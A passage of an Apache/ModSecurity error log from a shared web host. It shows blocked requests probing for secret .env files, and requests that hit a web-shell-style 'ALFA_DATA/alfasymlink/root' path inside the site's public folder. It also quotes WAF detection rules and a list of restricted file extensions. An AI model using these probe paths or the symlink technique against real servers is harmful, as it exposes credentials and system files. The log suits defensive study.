[Sat Oct 24 19:16:48.959072 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at08YD8oejtZfsaip1YniQAAABE"]
[Sat Oct 24 19:16:48.959303 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at08YD8oejtZfsaip1YniQAAABE"]
[Sat Oct 24 19:16:48.959577 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at08YD8oejtZfsaip1YniQAAABE"]
[Sat Oct 24 19:16:49.191450 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at08YT8oejtZfsaip1YnigAAABE"]
[Sat Oct 24 19:16:49.191705 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at08YT8oejtZfsaip1YnigAAABE"]
[Sat Oct 24 19:16:49.192009 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at08YT8oejtZfsaip1YnigAAABE"]
[Sat Oct 24 19:16:49.656325 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at08YT8oejtZfsaip1YnjAAAABE"]
[Sat Oct 24 19:16:49.656539 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at08YT8oejtZfsaip1YnjAAAABE"]
[Sat Oct 24 19:16:49.656841 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at08YT8oejtZfsaip1YnjAAAABE"]
[Sat Oct 24 19:16:49.888720 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/laravel/config/.env"] [unique_id "at08YT8oejtZfsaip1YnjQAAABE"]
[Sat Oct 24 19:16:49.889051 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/laravel/config/.env"] [unique_id "at08YT8oejtZfsaip1YnjQAAABE"]
[Sat Oct 24 19:16:49.889473 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/laravel/config/.env"] [unique_id "at08YT8oejtZfsaip1YnjQAAABE"]
[Sat Oct 24 19:16:50.133986 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.70.123.241:21684] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:16:50.352578 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at08Yj8oejtZfsaip1YnjwAAABE"]
[Sat Oct 24 19:16:50.352855 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at08Yj8oejtZfsaip1YnjwAAABE"]
[Sat Oct 24 19:16:50.353158 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at08Yj8oejtZfsaip1YnjwAAABE"]
[Sat Oct 24 19:16:50.585645 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at08Yj8oejtZfsaip1YnkAAAABE"]
[Sat Oct 24 19:16:50.585910 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at08Yj8oejtZfsaip1YnkAAAABE"]
[Sat Oct 24 19:16:50.586212 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at08Yj8oejtZfsaip1YnkAAAABE"]
[Sat Oct 24 19:16:50.816812 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at08Yj8oejtZfsaip1YnkQAAABE"]
[Sat Oct 24 19:16:50.817057 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at08Yj8oejtZfsaip1YnkQAAABE"]
[Sat Oct 24 19:16:50.817354 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at08Yj8oejtZfsaip1YnkQAAABE"]
[Sat Oct 24 19:16:51.048039 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at08Yz8oejtZfsaip1YnkgAAABE"]
[Sat Oct 24 19:16:51.048264 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at08Yz8oejtZfsaip1YnkgAAABE"]
[Sat Oct 24 19:16:51.048540 2026] [security2:error] [pid 2684583:tid 2684583] [client 45.156.87.96:43888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at08Yz8oejtZfsaip1YnkgAAABE"]
[Sat Oct 24 19:16:54.238464 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.45.194.165:47980] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:17:02.240582 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 18.232.12.157:5807] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/driver/uevent
[Sat Oct 24 19:17:02.241047 2026] [security2:error] [pid 2707162:tid 2707162] [client 18.232.12.157:5807] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/driver/uevent"] [unique_id "at08bnxUk1Q9Uwuht9UDrAAAAAE"]
[Sat Oct 24 19:17:02.241085 2026] [security2:error] [pid 2707162:tid 2707162] [client 18.232.12.157:5807] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/driver/uevent"] [unique_id "at08bnxUk1Q9Uwuht9UDrAAAAAE"]
[Sat Oct 24 19:17:06.160876 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.225.81.20:33227] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:17:10.129673 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.207.69.106:13965] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:17:18.326414 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.225.243.131:61416] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:17:19.705017 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 185.191.171.3:28506] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:17:26.219523 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 23.21.179.27:32643] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:17:30.134057 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.82.107.102:3453] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:17:38.382301 2026] [ssl:error] [pid 2692918:tid 2692918] (5)Input/output error: [client 3.223.181.32:7856] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:17:46.143913 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 23.23.137.202:29393] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:17:50.142678 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.203.65.83:15834] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:17:51.240257 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 85.208.96.202:19128] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:18:02.209935 2026] [ssl:error] [pid 2707162:tid 2707162] (5)Input/output error: [client 35.169.102.85:54492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:18:10.140197 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.82.63.147:20328] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:18:12.088293 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.202:15212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/aliases
[Sat Oct 24 19:18:30.164749 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 98.84.70.201:63793] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:18:31.957743 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.206:15328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_lbr/remote_node_defrag_ratio
[Sat Oct 24 19:18:34.136376 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.227.180.70:15376] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:18:46.177260 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.86.59.155:61451] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:18:54.285174 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.215.77.19:15198] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:18:58.326347 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 100.28.118.16:51689] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:19:06.234241 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.199.252.22:26042] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:19:18.173814 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 35.169.240.53:35642] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:19:30.152008 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.45.92.83:64965] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:19:38.296261 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 23.23.212.212:16058] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:19:50.244155 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.223.193.255:64854] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:20:06.273083 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.215.24.66:46347] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:20:06.339003 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.200:18020] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/object_size
[Sat Oct 24 19:20:10.182324 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.216.86.144:65510] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:20:18.145017 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.235.125.129:19518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:20:26.133960 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 50.17.193.48:22527] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:20:30.345467 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 98.82.107.102:8041] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:20:38.235848 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.221.105.234:27907] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:20:50.353180 2026] [security2:error] [pid 2693035:tid 2693035] [client 43.153.135.208:40438] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at09Ut3lMH_Ldre-PZttCgAAACk"]
[Sat Oct 24 19:20:58.182564 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 35.153.86.200:27136] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:21:01.110635 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 185.191.171.5:28514] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:21:06.149675 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.45.15.233:26421] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:21:10.255922 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.1.106.130:10591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:21:22.337809 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.213.27.222:8390] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:21:34.433091 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.221.203.24:56719] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:21:38.187894 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 23.23.103.31:37135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:21:46.513027 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.163.136.244:3503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:21:50.322147 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.215.77.19:41333] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:21:54.195858 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.196.237.236:23282] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:21:58.343619 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.226.106.93:10054] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:22:01.736837 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.200:26182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-16/reclaim_account
[Sat Oct 24 19:22:03.829431 2026] [security2:error] [pid 2707162:tid 2707162] [client 16.216.88.195:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri 